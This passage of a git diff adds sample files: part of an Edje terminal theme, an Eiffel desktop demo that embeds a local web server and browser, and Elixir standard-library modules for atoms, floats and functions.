+                  fixed: 1 1;
+                  visible: 0;
+                  color: 255 255 255 0;
+                  min: 32 32;
+                  max: 32 32;
+                  rel1.to: "terminology.content";
+                  rel2.to: "terminology.content";
+                  align: 1.0 1.0;
+                  image.normal: "bg_led_base.png";
+               }
+               description { state: "visible" 0.0;
+                  inherit: "default" 0.0;
+                  visible: 1;
+                  color: 255 255 255 255;
+               }
+            }
+            part { name: "bell";
+               mouse_events: 0;
+               description { state: "default" 0.0;
+                  fixed: 1 1;
+                  visible: 0;
+                  color: 255 255 255 0;
+                  rel1.to: "bell_base";
+                  rel2.to: "bell_base";
+                  image.normal: "bg_led.png";
+               }
+               description { state: "visible" 0.0;
+                  inherit: "default" 0.0;
+                  visible: 1;
+                  color: 255 255 255 255;
+               }
+            }
+            part { name: "bell_strobe";
+               mouse_events: 0;
+               description { state: "default" 0.0;
+                  fixed: 1 1;
+                  visible: 0;
+                  color: 255 255 255 0;
+                  rel1.to: "bell";
+                  rel2.to: "bell";
+                  image.normal: "bg_led_strobe.png";
+                  map {
+                     on: 1;
+                     smooth: 1;
+                     rotation.center: "bell";
+                  }
+               }
+               description { state: "spin" 0.0;
+                  inherit: "default" 0.0;
+                  visible: 1;
+                  color: 255 255 255 255;
+                  map.rotation.z: 36.0;
+               }
+               description { state: "spin_done" 0.0;
+                  inherit: "spin" 0.0;
+                  map.rotation.z: 720.0;
+               }
+               description { state: "spin_done2" 0.0;
+                  inherit: "spin" 0.0;
+                  map.rotation.z: 1440.0;
+               }
+            }
+            program {
+               signal: "bell"; source: "terminology";
+               action: STATE_SET "default" 0.0;
+               target: "bell_base";
+               target: "bell";
+               target: "bell_strobe";
+               after: "bell";
+            }
+            program { name: "bell";
+               action: STATE_SET "visible" 0.0;
+               target: "bell_base";
+               after: "bell2";
+            }
+            program { name: "bell2";
+               action: STATE_SET "visible" 0.0;
+               transition: DECELERATE 0.1;
+               target: "bell";
+               after: "bell3";
+            }
+            program { name: "bell3";
+               action: STATE_SET "spin" 0.0;
+               transition: LINEAR 0.1;
+               target: "bell_strobe";
+               after: "bell4.2";
+            }
+            program { name: "bell4.2";
+               action: STATE_SET "spin_done" 0.0;
+               transition: LINEAR 0.9;
+               target: "bell_strobe";
+               after: "bell4.3";
+            }
+            program { name: "bell4.3";
+               action: STATE_SET "spin_done2" 0.0;
+               transition: LINEAR 1.0;
+               target: "bell_strobe";
+               after: "bell4.4";
+            }
+            program { name: "bell4.4";
+               action: STATE_SET "spin_done" 0.0;
+               target: "bell_strobe";
+               after: "bell4.3";
+            }
+         }
+      }
+
+
+//////////////////////////////////////////////////////////////////////////////
+   //// an object overlayd on text that is a link
+   group { name: "terminology/link";
+      images {
+        image: "lk_bottom.png" COMP;
+      }
+      parts {
+         part { name: "bottom";
+            mouse_events: 0;
+            description { state: "default" 0.0;
+               image.normal: "lk_bottom.png";
+               image.border: 9 9 0 0;
+               align: 0.5 1.0;
+               min: 20 8;
+               rel1.offset: -6 0;
+               rel1.relative: 0.0 1.0;
+               rel2.offset: 5 0;
+               color: 100 200 255 255;
+               fill.smooth: 0;
+            }
+         }
+         part { name: "event"; type: RECT;
+            mouse_events: 1;
+            repeat_events: 1;
+            description { state: "default" 0.0;
+               color: 0 0 0 0;
+            }
+         }
+      }
+   }
+}
diff --git a/samples/Eiffel/app_embedded_web_execution.e b/samples/Eiffel/app_embedded_web_execution.e
new file mode 100644
index 0000000000..f92ef4f1f5
--- /dev/null
+++ b/samples/Eiffel/app_embedded_web_execution.e
@@ -0,0 +1,239 @@
+note
+	description: "Summary description for {APP_EMBEDDED_WEB_EXECUTION}."
+	author: ""
+	date: "$Date$"
+	revision: "$Revision$"
+
+class
+	APP_EMBEDDED_WEB_EXECUTION
+
+inherit
+	EMBEDDED_WEB_EXECUTION
+		redefine
+			initialize
+		end
+
+create
+	make
+
+feature {NONE} -- Initialization
+
+	initialize
+		do
+			Precursor
+			create request_exit_operation_actions
+			local_connection_restriction_enabled := True
+		end
+
+feature -- Execution
+
+	request_exit_operation_actions: ACTION_SEQUENCE [TUPLE]
+
+	execute
+			-- Execute the request
+			-- See `request.input' for input stream
+    		--     `request.meta_variables' for the CGI meta variable
+			-- and `response' for output buffer
+		local
+			router: WSF_ROUTER
+			sess: detachable WSF_ROUTER_SESSION
+			m: WSF_HTML_PAGE_RESPONSE
+			b: STRING
+			fs: WSF_FILE_SYSTEM_HANDLER
+			req: like request
+		do
+			req := request
+
+			create router.make (3)
+			router.handle ("/test/{var}", create {WSF_URI_TEMPLATE_AGENT_HANDLER}.make (agent handle_test), Void)
+			router.handle ("/env", create {WSF_URI_AGENT_HANDLER}.make (agent handle_env), Void)
+			router.handle ("/exit", create {WSF_URI_TEMPLATE_AGENT_HANDLER}.make (agent handle_exit), Void)
+			create fs.make_with_path ((create {EXECUTION_ENVIRONMENT}).current_working_path.extended ("files"))
+			router.handle ("/files", fs, Void)
+			create sess
+			router.dispatch (req, response, sess)
+			if not sess.dispatched then
+				create m.make
+				create b.make_from_string ("<h1>Hello Eiffel desktop user</h1>")
+				b.append ("<li><a href=%"" + req.script_url ("/test/start") + "%">test</a></li>")
+				b.append ("<li><a href=%"" + req.script_url ("/env") + "%">env</a></li>")
+				b.append ("<li><a href=%"" + req.script_url ("/files") + "%">files</a></li>")
+				b.append ("<li><a href=%"" + req.script_url ("/exit") + "%">exit</a></li>")
+				m.set_body (b)
+				response.send (m)
+			end
+		end
+
+	handle_test (req: WSF_REQUEST; res: WSF_RESPONSE)
+		local
+			m: WSF_HTML_PAGE_RESPONSE
+			b: STRING
+			l_name: READABLE_STRING_32
+		do
+			if attached {WSF_STRING} req.item ("var") as p_name then
+				l_name := p_name.value
+			else
+				l_name := {STRING_32} "Embedded web service and web_browser in vision2 application"
+			end
+			create m.make
+			create b.make_from_string ("<h1>This is a test about "+ m.html_encoded_string (l_name) +"</h1>")
+			b.append ("<li><a href=%"" + req.script_url ("/") + "%">back to home</a></li>")
+			if l_name.is_case_insensitive_equal_general ("start") then
+				b.append ("<li><a href=%"" + req.script_url ("/test/js") + "%">test javascript+ajax</a></li>")
+			elseif l_name.is_case_insensitive_equal_general ("js") then
+				b.append ("[
+					<div id="myDiv"><h2>Let AJAX change this text</h2>
+					<button type="button" onclick="loadXMLDoc()">Change Content</button>
+					</div>
+				]")
+				m.add_javascript_content ("[
+					function loadXMLDoc()
+					{
+					var xmlhttp;
+					if (window.XMLHttpRequest)
+					  {// code for IE7+, Firefox, Chrome, Opera, Safari
+					  xmlhttp=new XMLHttpRequest();
+					  }
+					else
+					  {// code for IE6, IE5
+					  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
+					  }
+					xmlhttp.onreadystatechange=function()
+					  {
+					  if (xmlhttp.readyState==4 && xmlhttp.status==200)
+					    {
+					    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
+					    }
+					  }
+					xmlhttp.open("GET","/test/ajax.txt",true);
+					xmlhttp.send();
+					}
+				]")
+			elseif l_name.is_case_insensitive_equal_general ("ajax.txt") then
+				b := "This is AJAX response ... from " + req.absolute_script_url ("")
+			end
+			m.set_body (b)
+			res.send (m)
+		end
+
+	handle_env (req: WSF_REQUEST; res: WSF_RESPONSE)
+		local
+			s: STRING_8
+			p: WSF_PAGE_RESPONSE
+			v: STRING_8
+		do
+			create s.make (2048)
+			s.append ("**DEBUG**%N")
+			req.set_raw_input_data_recorded (True)
+
+			append_iterable_to ("Meta variables:", req.meta_variables, s)
+			s.append_character ('%N')
+
+			append_iterable_to ("Path parameters", req.path_parameters, s)
+			s.append_character ('%N')
+
+			append_iterable_to ("Query parameters", req.query_parameters, s)
+			s.append_character ('%N')
+
+			append_iterable_to ("Form parameters", req.form_parameters, s)
+			s.append_character ('%N')
+
+			if attached req.content_type as l_type then
+				s.append ("Content: type=" + l_type.debug_output)
+				s.append (" length=")
+				s.append_natural_64 (req.content_length_value)
+				s.append_character ('%N')
+				create v.make (req.content_length_value.to_integer_32)
+				req.read_input_data_into (v)
+				across
+					v.split ('%N') as v_cursor
+				loop
+					s.append ("     |")
+					s.append (v_cursor.item)
+					s.append_character ('%N')
+				end
+			end
+
+			create p.make_with_body (s)
+			p.header.put_content_type_text_plain
+			res.send (p)
+		end
+
+	handle_exit (req: WSF_REQUEST; res: WSF_RESPONSE)
+		local
+			m: WSF_HTML_PAGE_RESPONSE
+			b: STRING
+		do
+			create m.make
+			create b.make_from_string ("<h1>Embedded server is about to shutdown</h1>")
+			b.append ("<li><a href=%"" + req.script_url ("/") + "%">back to home</a></li>")
+			b.append ("<li><a href=%"" + req.script_url ("/bye") + "%">Click to confirm exit operation</a></li>")
+			m.set_body (b)
+			res.send (m)
+			if attached {separate WGI_STANDALONE_CONNECTOR [WGI_EXECUTION]} req.wgi_connector as conn then
+				shutdown_server (conn)
+			end
+			request_exit_operation_actions.call (Void)
+		end
+
+	shutdown_server (conn: separate WGI_STANDALONE_CONNECTOR [WGI_EXECUTION])
+		do
+			conn.shutdown_server
+		end
+
+feature {NONE} -- Implementation
+
+	append_iterable_to (a_title: READABLE_STRING_8; it: detachable ITERABLE [WSF_VALUE]; s: STRING_8)
+		local
+			n: INTEGER
+			t: READABLE_STRING_8
+			v: READABLE_STRING_8
+		do
+			s.append (a_title)
+			s.append_character (':')
+			if it /= Void then
+				across it as c loop
+					n := n + 1
+				end
+				if n = 0 then
+					s.append (" empty")
+					s.append_character ('%N')
+				else
+					s.append_character ('%N')
+					across
+						it as c
+					loop
+						s.append ("  - ")
+						s.append (c.item.url_encoded_name)
+						t := c.item.generating_type.name
+						if t.same_string ("WSF_STRING") then
+						else
+							s.append_character (' ')
+							s.append_character ('{')
+							s.append (t)
+							s.append_character ('}')
+						end
+						s.append_character ('=')
+						v := c.item.string_representation.as_string_8
+						if v.has ('%N') then
+							s.append_character ('%N')
+							across
+								v.split ('%N') as v_cursor
+							loop
+								s.append ("     |")
+								s.append (v_cursor.item)
+								s.append_character ('%N')
+							end
+						else
+							s.append (v)
+							s.append_character ('%N')
+						end
+					end
+				end
+			else
+				s.append (" none")
+				s.append_character ('%N')
+			end
+		end
+
+end
diff --git a/samples/Eiffel/app_embedded_web_service.e b/samples/Eiffel/app_embedded_web_service.e
new file mode 100644
index 0000000000..ed11c24d6a
--- /dev/null
+++ b/samples/Eiffel/app_embedded_web_service.e
@@ -0,0 +1,18 @@
+note
+	description: "Summary description for {APP_EMBEDDED_WEB_SERVICE}."
+	author: ""
+	date: "$Date$"
+	revision: "$Revision$"
+
+class
+	APP_EMBEDDED_WEB_SERVICE
+
+inherit
+	EMBEDDED_WEB_SERVICE [APP_EMBEDDED_WEB_EXECUTION]
+
+create
+	make
+
+feature {NONE} -- Initialization
+
+end
diff --git a/samples/Eiffel/desktop_app.e b/samples/Eiffel/desktop_app.e
new file mode 100644
index 0000000000..5e2395916f
--- /dev/null
+++ b/samples/Eiffel/desktop_app.e
@@ -0,0 +1,110 @@
+note
+	description: "Objects that represent the Vision2 application.%
+		%The original version of this class has been generated by EiffelBuild."
+	generator: "EiffelBuild"
+	legal: "See notice at end of class."
+	status: "See notice at end of class."
+	date: "$Date$"
+	revision: "$Revision$"
+
+
+class
+	DESKTOP_APP
+
+inherit
+	EV_APPLICATION
+
+create
+	make_and_launch
+
+feature {NONE} -- Initialization
+
+	make_and_launch
+			-- Create `Current', build and display `main_window',
+			-- then launch the application.
+		local
+			l_win: like main_window
+			l_embedded_service: separate APP_EMBEDDED_WEB_SERVICE
+		do
+			default_create
+			create l_win.make
+			main_window := l_win
+			l_win.show
+			create l_embedded_service.make
+			setup_and_launch_web_service (l_embedded_service)
+			launch
+		end
+
+
+	setup_and_launch_web_service (a_web_service: separate APP_EMBEDDED_WEB_SERVICE)
+		do
+			a_web_service.set_port_number (0) -- Use first available port number
+			a_web_service.set_on_launched_action (agent on_web_service_launched (a_web_service))
+			a_web_service.launch
+		end
+
+	on_quit
+		do
+			if attached main_window as win then
+				win.destroy_and_exit_if_last
+			end
+		end
+
+	on_web_service_launched (a_web_service: separate APP_EMBEDDED_WEB_SERVICE)
+		do
+			if attached main_window as win then
+				add_idle_action_kamikaze (agent wait_for_termination (a_web_service, Void))
+				add_idle_action_kamikaze (agent win.open_link)
+			end
+		end
+
+	wait_for_termination (a_web_service: separate APP_EMBEDDED_WEB_SERVICE; a_timeout: detachable EV_TIMEOUT)
+		local
+			t: detachable EV_TIMEOUT
+		do
+			t := a_timeout
+			if t /= Void then
+				t.set_interval (0)
+			end
+			if
+				attached a_web_service.observer as obs and then
+				observer_has_terminaded (obs)
+			then
+				if t /= Void then
+					t.destroy
+				end
+				on_quit
+			else
+				if t = Void then
+					create t
+					t.actions.extend (agent wait_for_termination (a_web_service, t))
+				else
+					t.set_interval (1_000)
+				end
+				t.set_interval (1_000)
+			end
+		end
+
+	observer_has_terminaded (obs: separate WGI_STANDALONE_SERVER_OBSERVER): BOOLEAN
+		do
+			Result := obs.terminated
+		end
+
+feature {NONE} -- Implementation
+
+	main_window: detachable MAIN_WINDOW
+		-- Main window of `Current'
+
+;note
+	copyright:	"Copyright (c) 1984-2009, Eiffel Software and others"
+	license:	"Eiffel Forum License v2 (see http://www.eiffel.com/licensing/forum.txt)"
+	source: "[
+			 Eiffel Software
+			 356 Storke Road, Goleta, CA 93117 USA
+			 Telephone 805-685-1006, Fax 805-685-6869
+			 Website http://www.eiffel.com
+			 Customer support http://support.eiffel.com
+		]"
+
+
+end
diff --git a/samples/Eiffel/main_window.e b/samples/Eiffel/main_window.e
new file mode 100644
index 0000000000..b459ac2875
--- /dev/null
+++ b/samples/Eiffel/main_window.e
@@ -0,0 +1,201 @@
+note
+	description: "Objects that represent an EV_TITLED_WINDOW.%
+		%The original version of this class was generated by EiffelBuild."
+	generator: "EiffelBuild"
+	legal: "See notice at end of class."
+	status: "See notice at end of class."
+	date: "$Date$"
+	revision: "$Revision$"
+
+class
+	MAIN_WINDOW
+
+inherit
+	EV_TITLED_WINDOW
+		redefine
+			create_interface_objects, initialize, is_in_default_state
+		end
+
+	SHARED_EMBEDED_WEB_SERVICE_INFORMATION
+		undefine
+			default_create, copy
+		end
+
+create
+	make
+
+feature {NONE} -- Initialization
+
+	make
+			-- Creation method
+		do
+			default_create
+		end
+
+	initialize
+			-- Initialize `Current'.
+		do
+			Precursor {EV_TITLED_WINDOW}
+
+			set_title ("Desktop Application (demo embedded EWF+browser)")
+
+				-- Connect events.
+				-- Close the application when an interface close
+				-- request is received on `Current'. i.e. the cross is clicked.
+			close_request_actions.extend (agent destroy_and_exit_if_last)
+
+				-- Call `user_initialization'.
+			user_initialization
+		end
+
+	create_interface_objects
+			-- Create objects
+		do
+			create home_button.make_with_text ("Home")
+			create back_button.make_with_text ("Back")
+			create forth_button.make_with_text ("Forth")
+			create refresh_button.make_with_text ("Refresh")
+			create stop_button.make_with_text ("Stop")
+			create url_text_field.make_with_text ("http://localhost:" + port_number.out)
+			create go_button.make_with_text ("Go")
+
+			create web_browser
+		end
+
+	user_initialization
+			-- Called by `initialize'.
+			-- Any custom user initialization that
+			-- could not be performed in `initialize',
+			-- (due to regeneration of implementation class)
+			-- can be added here.
+		local
+			l_browser_box: EV_VERTICAL_BOX
+			l_hor_box: EV_HORIZONTAL_BOX
+			vb: EV_VERTICAL_BOX
+		do
+			set_size (800, 600)
+
+			create vb
+			extend (vb)
+			vb.set_border_width (3)
+			vb.set_padding_width (3)
+
+				-- browser part								
+			create l_browser_box
+
+			create l_hor_box
+			l_browser_box.extend (l_hor_box)
+			l_browser_box.disable_item_expand (l_hor_box)
+
+			home_button.select_actions.force_extend (agent on_home_button_action)
+			l_hor_box.extend (home_button)
+			l_hor_box.disable_item_expand (home_button)
+
+			back_button.select_actions.force_extend (agent on_back_button_action)
+			l_hor_box.extend (back_button)
+			l_hor_box.disable_item_expand (back_button)
+
+			forth_button.select_actions.force_extend (agent on_forth_button_action)
+			l_hor_box.extend (forth_button)
+			l_hor_box.disable_item_expand (forth_button)
+
+			refresh_button.select_actions.force_extend (agent on_refresh_button_action)
+			l_hor_box.extend (refresh_button)
+			l_hor_box.disable_item_expand (refresh_button)
+
+			stop_button.select_actions.force_extend (agent on_stop_button_action)
+			l_hor_box.extend (stop_button)
+			l_hor_box.disable_item_expand (stop_button)
+
+			l_hor_box.extend (url_text_field)
+
+			go_button.select_actions.force_extend (agent on_go_button_action)
+			l_hor_box.extend (go_button)
+			l_hor_box.disable_item_expand (go_button)
+
+			l_browser_box.extend (web_browser)
+
+			--------------------
+			vb.extend (l_browser_box)
+		end
+
+	is_in_default_state: BOOLEAN
+		do
+			Result := True
+		end
+
+feature -- Basic operation
+
+	open_link
+		do
+			url_text_field.set_text ("http://localhost:" + port_number.out)
+			on_go_button_action
+		end
+
+feature {NONE} -- Implementation
+
+	home_button, go_button, back_button, forth_button, stop_button, refresh_button: EV_BUTTON
+			-- Buttons
+
+	url_text_field: EV_TEXT_FIELD
+			-- URL text field
+
+	on_go_button_action
+			-- Action for `go_button'
+		local
+			l_uri: STRING_32
+		do
+			l_uri := url_text_field.text
+			if l_uri /= Void and then not l_uri.is_empty then
+				web_browser.load_uri (l_uri)
+			else
+				on_home_button_action
+			end
+		end
+
+	on_home_button_action
+			-- Action for `home_button'
+		do
+			web_browser.load_uri ("http://localhost:" + port_number.out)
+		end
+
+	on_back_button_action
+			-- Action for `back_button'
+		do
+			web_browser.back
+		end
+
+	on_forth_button_action
+			-- Action for `forth_button'
+		do
+			web_browser.forth
+		end
+
+	on_refresh_button_action
+			-- Action for `refresh_button'
+		do
+			web_browser.refresh
+		end
+
+	on_stop_button_action
+			-- Action for `stop_button'
+		do
+			web_browser.stop
+		end
+
+	web_browser: EV_WEB_BROWSER
+			-- Web browser widget
+
+;note
+	copyright:	"Copyright (c) 1984-2009, Eiffel Software and others"
+	license:	"Eiffel Forum License v2 (see http://www.eiffel.com/licensing/forum.txt)"
+	source: "[
+			 Eiffel Software
+			 356 Storke Road, Goleta, CA 93117 USA
+			 Telephone 805-685-1006, Fax 805-685-6869
+			 Website http://www.eiffel.com
+			 Customer support http://support.eiffel.com
+		]"
+
+
+end
diff --git a/samples/Elixir/atom.ex b/samples/Elixir/atom.ex
new file mode 100644
index 0000000000..c65d02b386
--- /dev/null
+++ b/samples/Elixir/atom.ex
@@ -0,0 +1,26 @@
+defmodule Atom do
+  @moduledoc """
+  Atoms are constants whose values are their own name.
+  """
+
+  @doc """
+  Converts an atom to a string.
+  """
+  @spec to_string(atom) :: String.t()
+  def to_string(atom) do
+    :erlang.atom_to_binary(atom, :utf8)
+  end
+
+  @doc """
+  Converts an atom to a charlist.
+  """
+  @spec to_charlist(atom) :: charlist
+  def to_charlist(atom) do
+    :erlang.atom_to_list(atom)
+  end
+
+  @doc false
+  @deprecated "Use Atom.to_charlist/1 instead"
+  @spec to_char_list(atom) :: charlist
+  def to_char_list(atom), do: Atom.to_charlist(atom)
+end
diff --git a/samples/Elixir/float.ex b/samples/Elixir/float.ex
new file mode 100644
index 0000000000..e0657b8c18
--- /dev/null
+++ b/samples/Elixir/float.ex
@@ -0,0 +1,348 @@
+import Kernel, except: [round: 1]
+
+defmodule Float do
+  @moduledoc """
+  Functions for working with floating-point numbers.
+  """
+
+  import Bitwise
+
+  @power_of_2_to_52 4_503_599_627_370_496
+  @precision_range 0..15
+  @type precision_range :: 0..15
+
+  @doc """
+  Computes `base` raised to power of `exponent`.
+  """
+  @doc since: "1.12.0"
+  @spec pow(float, number) :: float
+  def pow(base, exponent) when is_float(base) and is_number(exponent),
+    do: :math.pow(base, exponent)
+
+  @doc """
+  Parses a binary into a float.
+  """
+  @spec parse(binary) :: {float, binary} | :error
+  def parse("-" <> binary) do
+    case parse_unsigned(binary) do
+      :error -> :error
+      {number, remainder} -> {-number, remainder}
+    end
+  end
+
+  def parse("+" <> binary) do
+    parse_unsigned(binary)
+  end
+
+  def parse(binary) do
+    parse_unsigned(binary)
+  end
+
+  defp parse_unsigned(<<digit, rest::binary>>) when digit in ?0..?9,
+    do: parse_unsigned(rest, false, false, <<digit>>)
+
+  defp parse_unsigned(binary) when is_binary(binary), do: :error
+
+  defp parse_unsigned(<<digit, rest::binary>>, dot?, e?, acc) when digit in ?0..?9,
+    do: parse_unsigned(rest, dot?, e?, <<acc::binary, digit>>)
+
+  defp parse_unsigned(<<?., digit, rest::binary>>, false, false, acc) when digit in ?0..?9,
+    do: parse_unsigned(rest, true, false, <<acc::binary, ?., digit>>)
+
+  defp parse_unsigned(<<exp_marker, digit, rest::binary>>, dot?, false, acc)
+       when exp_marker in 'eE' and digit in ?0..?9,
+       do: parse_unsigned(rest, true, true, <<add_dot(acc, dot?)::binary, ?e, digit>>)
+
+  defp parse_unsigned(<<exp_marker, sign, digit, rest::binary>>, dot?, false, acc)
+       when exp_marker in 'eE' and sign in '-+' and digit in ?0..?9,
+       do: parse_unsigned(rest, true, true, <<add_dot(acc, dot?)::binary, ?e, sign, digit>>)
+
+  defp parse_unsigned(rest, dot?, _e?, acc),
+    do: {:erlang.binary_to_float(add_dot(acc, dot?)), rest}
+
+  defp add_dot(acc, true), do: acc
+  defp add_dot(acc, false), do: acc <> ".0"
+
+  @doc """
+  Rounds a float to the largest number less than or equal to `num`.
+  """
+  @spec floor(float, precision_range) :: float
+  def floor(number, precision \\ 0)
+
+  def floor(number, 0) when is_float(number) do
+    :math.floor(number)
+  end
+
+  def floor(number, precision) when is_float(number) and precision in @precision_range do
+    round(number, precision, :floor)
+  end
+
+  def floor(number, precision) when is_float(number) do
+    raise ArgumentError, invalid_precision_message(precision)
+  end
+
+  @doc """
+  Rounds a float to the smallest integer greater than or equal to `num`.
+  """
+  @spec ceil(float, precision_range) :: float
+  def ceil(number, precision \\ 0)
+
+  def ceil(number, 0) when is_float(number) do
+    :math.ceil(number)
+  end
+
+  def ceil(number, precision) when is_float(number) and precision in @precision_range do
+    round(number, precision, :ceil)
+  end
+
+  def ceil(number, precision) when is_float(number) do
+    raise ArgumentError, invalid_precision_message(precision)
+  end
+
+  @doc """
+  Rounds a floating-point value to an arbitrary number of fractional
+  digits (between 0 and 15).
+  """
+  @spec round(float, precision_range) :: float
+  # This implementation is slow since it relies on big integers.
+  # Faster implementations are available on more recent papers
+  # and could be implemented in the future.
+  def round(float, precision \\ 0)
+
+  def round(float, 0) when is_float(float) do
+    float |> :erlang.round() |> :erlang.float()
+  end
+
+  def round(float, precision) when is_float(float) and precision in @precision_range do
+    round(float, precision, :half_up)
+  end
+
+  def round(float, precision) when is_float(float) do
+    raise ArgumentError, invalid_precision_message(precision)
+  end
+
+  defp round(0.0 = num, _precision, _rounding), do: num
+
+  defp round(float, precision, rounding) do
+    <<sign::1, exp::11, significant::52-bitstring>> = <<float::float>>
+    {num, count} = decompose(significant, 1)
+    count = count - exp + 1023
+
+    cond do
+      # Precision beyond 15 digits
+      count >= 104 ->
+        case rounding do
+          :ceil when sign === 0 -> 1 / power_of_10(precision)
+          :floor when sign === 1 -> -1 / power_of_10(precision)
+          _ -> 0.0
+        end
+
+      # We are asking more precision than we have
+      count <= precision ->
+        float
+
+      true ->
+        # Difference in precision between float and asked precision
+        # We subtract 1 because we need to calculate the remainder too
+        diff = count - precision - 1
+
+        # Get up to latest so we calculate the remainder
+        power_of_10 = power_of_10(diff)
+
+        # Convert the numerand to decimal base
+        num = num * power_of_5(count)
+
+        # Move to the given precision - 1
+        num = div(num, power_of_10)
+        div = div(num, 10)
+        num = rounding(rounding, sign, num, div)
+
+        # Convert back to float without loss
+        # https://www.exploringbinary.com/correct-decimal-to-floating-point-using-big-integers/
+        den = power_of_10(precision)
+        boundary = den <<< 52
+
+        cond do
+          num == 0 ->
+            0.0
+
+          num >= boundary ->
+            {den, exp} = scale_down(num, boundary, 52)
+            decimal_to_float(sign, num, den, exp)
+
+          true ->
+            {num, exp} = scale_up(num, boundary, 52)
+            decimal_to_float(sign, num, den, exp)
+        end
+    end
+  end
+
+  defp decompose(significant, initial) do
+    decompose(significant, 1, 0, initial)
+  end
+
+  defp decompose(<<1::1, bits::bitstring>>, count, last_count, acc) do
+    decompose(bits, count + 1, count, (acc <<< (count - last_count)) + 1)
+  end
+
+  defp decompose(<<0::1, bits::bitstring>>, count, last_count, acc) do
+    decompose(bits, count + 1, last_count, acc)
+  end
+
+  defp decompose(<<>>, _count, last_count, acc) do
+    {acc, last_count}
+  end
+
+  defp scale_up(num, boundary, exp) when num >= boundary, do: {num, exp}
+  defp scale_up(num, boundary, exp), do: scale_up(num <<< 1, boundary, exp - 1)
+
+  defp scale_down(num, den, exp) do
+    new_den = den <<< 1
+
+    if num < new_den do
+      {den >>> 52, exp}
+    else
+      scale_down(num, new_den, exp + 1)
+    end
+  end
+
+  defp decimal_to_float(sign, num, den, exp) do
+    quo = div(num, den)
+    rem = num - quo * den
+
+    tmp =
+      case den >>> 1 do
+        den when rem > den -> quo + 1
+        den when rem < den -> quo
+        _ when (quo &&& 1) === 1 -> quo + 1
+        _ -> quo
+      end
+
+    tmp = tmp - @power_of_2_to_52
+    <<tmp::float>> = <<sign::1, exp + 1023::11, tmp::52>>
+    tmp
+  end
+
+  defp rounding(:floor, 1, _num, div), do: div + 1
+  defp rounding(:ceil, 0, _num, div), do: div + 1
+
+  defp rounding(:half_up, _sign, num, div) do
+    case rem(num, 10) do
+      rem when rem < 5 -> div
+      rem when rem >= 5 -> div + 1
+    end
+  end
+
+  defp rounding(_, _, _, div), do: div
+
+  Enum.reduce(0..104, 1, fn x, acc ->
+    defp power_of_10(unquote(x)), do: unquote(acc)
+    acc * 10
+  end)
+
+  Enum.reduce(0..104, 1, fn x, acc ->
+    defp power_of_5(unquote(x)), do: unquote(acc)
+    acc * 5
+  end)
+
+  @doc """
+  Returns a pair of integers whose ratio is exactly equal
+  to the original float and with a positive denominator.
+  """
+  @doc since: "1.4.0"
+  @spec ratio(float) :: {integer, pos_integer}
+  def ratio(0.0), do: {0, 1}
+
+  def ratio(float) when is_float(float) do
+    <<sign::1, exp::11, mantissa::52>> = <<float::float>>
+
+    {num, den_exp} =
+      if exp != 0 do
+        # Floats are expressed like this:
+        # (2**52 + mantissa) * 2**(-52 + exp - 1023)
+        #
+        # We compute the root factors of the mantissa so we have this:
+        # (2**52 + mantissa * 2**count) * 2**(-52 + exp - 1023)
+        {mantissa, count} = root_factors(mantissa, 0)
+
+        # Now we can move the count around so we have this:
+        # (2**(52-count) + mantissa) * 2**(count + -52 + exp - 1023)
+        if mantissa == 0 do
+          {1, exp - 1023}
+        else
+          num = (1 <<< (52 - count)) + mantissa
+          den_exp = count - 52 + exp - 1023
+          {num, den_exp}
+        end
+      else
+        # Subnormals are expressed like this:
+        # (mantissa) * 2**(-52 + 1 - 1023)
+        #
+        # So we compute it to this:
+        # (mantissa * 2**(count)) * 2**(-52 + 1 - 1023)
+        #
+        # Which becomes:
+        # mantissa * 2**(count-1074)
+        root_factors(mantissa, -1074)
+      end
+
+    if den_exp > 0 do
+      {sign(sign, num <<< den_exp), 1}
+    else
+      {sign(sign, num), 1 <<< -den_exp}
+    end
+  end
+
+  defp root_factors(mantissa, count) when mantissa != 0 and (mantissa &&& 1) == 0,
+    do: root_factors(mantissa >>> 1, count + 1)
+
+  defp root_factors(mantissa, count),
+    do: {mantissa, count}
+
+  @compile {:inline, sign: 2}
+  defp sign(0, num), do: num
+  defp sign(1, num), do: -num
+
+  @doc """
+  Returns a charlist which corresponds to the text representation
+  of the given float.
+  """
+  @spec to_charlist(float) :: charlist
+  def to_charlist(float) when is_float(float) do
+    :io_lib_format.fwrite_g(float)
+  end
+
+  @doc """
+  Returns a binary which corresponds to the text representation
+  of the given float.
+  """
+  @spec to_string(float) :: String.t()
+  def to_string(float) when is_float(float) do
+    IO.iodata_to_binary(:io_lib_format.fwrite_g(float))
+  end
+
+  @doc false
+  @deprecated "Use Float.to_charlist/1 instead"
+  def to_char_list(float), do: Float.to_charlist(float)
+
+  @doc false
+  @deprecated "Use :erlang.float_to_list/2 instead"
+  def to_char_list(float, options) do
+    :erlang.float_to_list(float, expand_compact(options))
+  end
+
+  @doc false
+  @deprecated "Use :erlang.float_to_binary/2 instead"
+  def to_string(float, options) do
+    :erlang.float_to_binary(float, expand_compact(options))
+  end
+
+  defp invalid_precision_message(precision) do
+    "precision #{precision} is out of valid range of #{inspect(@precision_range)}"
+  end
+
+  defp expand_compact([{:compact, false} | t]), do: expand_compact(t)
+  defp expand_compact([{:compact, true} | t]), do: [:compact | expand_compact(t)]
+  defp expand_compact([h | t]), do: [h | expand_compact(t)]
+  defp expand_compact([]), do: []
+end
diff --git a/samples/Elixir/function.ex b/samples/Elixir/function.ex
new file mode 100644
index 0000000000..2f100da487
--- /dev/null
+++ b/samples/Elixir/function.ex
@@ -0,0 +1,48 @@
+defmodule Function do
+  @moduledoc """
+  A set of functions for working with functions.
+  """
+
+  @type information ::
+          :arity
+          | :env
+          | :index
+          | :module
+          | :name
+          | :new_index
+          | :new_uniq
+          | :pid
+          | :type
+          | :uniq
+
+  @doc """
+  Captures the given function.
+  """
+  @doc since: "1.7.0"
+  @spec capture(module, atom, arity) :: fun
+  def capture(module, function_name, arity) do
+    :erlang.make_fun(module, function_name, arity)
+  end
+
+  @doc """
+  Returns a keyword list with information about a function.
+  """
+  @doc since: "1.7.0"
+  @spec info(fun) :: [{information, term}]
+  def info(fun), do: :erlang.fun_info(fun)
+
+  @doc """
+  Returns a specific information about the function.
+  """
+  @doc since: "1.7.0"
+  @spec info(fun, item) :: {item, term} when item: information
+  def info(fun, item), do: :erlang.fun_info(fun, item)
+
+  @doc """
+  Returns its input `value`. This function can be passed as an anonymous function
+  to transformation functions.
+  """
+  @doc since: "1.10.0"
+  @spec identity(value) :: value when value: var
+  def identity(value), do: value
+end
